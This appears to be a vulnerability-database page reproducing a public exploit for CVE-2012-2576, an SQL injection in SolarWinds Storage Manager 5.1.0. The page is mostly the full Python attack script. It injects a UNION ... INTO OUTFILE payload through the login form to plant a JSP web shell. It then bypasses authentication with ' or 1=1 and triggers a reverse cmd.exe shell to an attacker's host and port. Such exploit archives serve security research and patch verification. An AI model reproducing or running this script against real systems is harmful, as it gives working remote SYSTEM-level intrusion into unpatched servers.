Lucene search
+L

SolarWinds Storage Manager 5.1.0 - Remote SYSTEM SQL Injection

🗓️ 01 May 2012 00:00:00Reported by mutsType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 46 Views

SolarWinds Storage Manager 5.1.0 Remote SYSTEM SQL Injectio

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2012-2576
20 Dec 201721:29
attackerkb
Circl
CVE-2012-2576
1 May 201200:00
circl
CNVD
Multiple SolarWinds Products SQL Injection Vulnerabilities
22 Dec 201700:00
cnvd
CVE
CVE-2012-2576
20 Dec 201721:00
cve
Cvelist
CVE-2012-2576
20 Dec 201721:00
cvelist
NVD
CVE-2012-2576
20 Dec 201721:29
nvd
Prion
Sql injection
20 Dec 201721:29
prion
#!/usr/bin/python
######################################################################################
# Exploit Title: Solarwinds Storage Manager 5.1.0 Remote SYSTEM SQL Injection Exploit
# Date: May 2nd 2012
# Author: muts
# Version: SolarWinds Storage Manager 5.1.0
# Tested on: Windows 2003
# Archive Url : http://www.offensive-security.com/0day/solarshell.txt
######################################################################################
# Discovered by Digital Defence - DDIVRT-2011-39
######################################################################################


import urllib, urllib2, cookielib
import sys
import random

print "\n[*] Solarwinds Storage Manager 5.1.0 Remote SYSTEM SQL Injection Exploit"
print "[*] Vulnerability discovered by Digital Defence - DDIVRT-2011-39"

print "[*] Offensive Security - http://www.offensive-security.com\n"
if (len(sys.argv) != 4):
	print "[*] Usage: solarshell.py <RHOST> <LHOST> <LPORT>"
	exit(0)

rhost = sys.argv[1]
lhost = sys.argv[2]
lport = sys.argv[3]

filename = ''
for i in random.sample('abcdefghijklmnopqrstuvwxyz1234567890',6):
	filename+=i
filename +=".jsp"

output_path= "c:/Program Files/SolarWinds/Storage Manager Server/webapps/ROOT/%s" %filename

jsp = '''<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>

<%
	class StreamConnector extends Thread
	{
		InputStream is;
		OutputStream os;

		StreamConnector( InputStream is, OutputStream os )
		{
		this.is = is;
		this.os = os;
		}

		public void run()
		{
		BufferedReader in  = null;
		BufferedWriter out = null;
try
{
	in  = new BufferedReader( new InputStreamReader( this.is ) );
	out = new BufferedWriter( new OutputStreamWriter( this.os ) );
	char buffer[] = new char[8192];
	int length;
	while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )
	{
		out.write( buffer, 0, length );
		out.flush();
	}
} catch( Exception e ){}
try
{
	if( in != null )
		in.close();
	if( out != null )
		out.close();
} catch( Exception e ){}
		}
	}

	try
	{
		Socket socket = new Socket( "''' + lhost +'''", '''+lport+''');
		Process process = Runtime.getRuntime().exec( "cmd.exe" );
		( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
		( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
	} catch( Exception e ) {}
%>'''

jsp = jsp.replace("\n","")
jsp = jsp.replace("\t","")

prepayload = "AAA' "
prepayload += 'union select 0x%s,2,3,4,5,6,7,8,9,10,11,12,13,14 into outfile "%s"' % (jsp.encode('hex'),output_path)
prepayload += "#"
postpayload = "1' or 1=1#--"
loginstate='checkLogin'
password = 'OHAI'

cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
post_params = urllib.urlencode({'loginState' : loginstate, 'loginName' : prepayload,'password' : password})
print "[*] Sending evil payload"
resp = opener.open("http://%s:9000/LoginServlet" %rhost, post_params)
print "[*] Triggering shell"
post_params = urllib.urlencode({'loginState' : loginstate, 'loginName' : postpayload,'password' : password})
resp = opener.open("http://%s:9000/LoginServlet" % rhost, post_params)
resp = opener.open("http://%s:9000/%s"  % (rhost,filename))
print "[*] Check your shell on %s %s\n" % (lhost,lport)

# 01010011 01101100 01100101 01100101 01110000 01101001 01110011 01101111
# 01110110 01100101 01110010 01110010 01100001 01110100 01100101 01100100

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 May 2012 00:00Current
8.5High risk
Vulners AI Score8.5
CVSS 39.8
CVSS 210
EPSS0.59146
46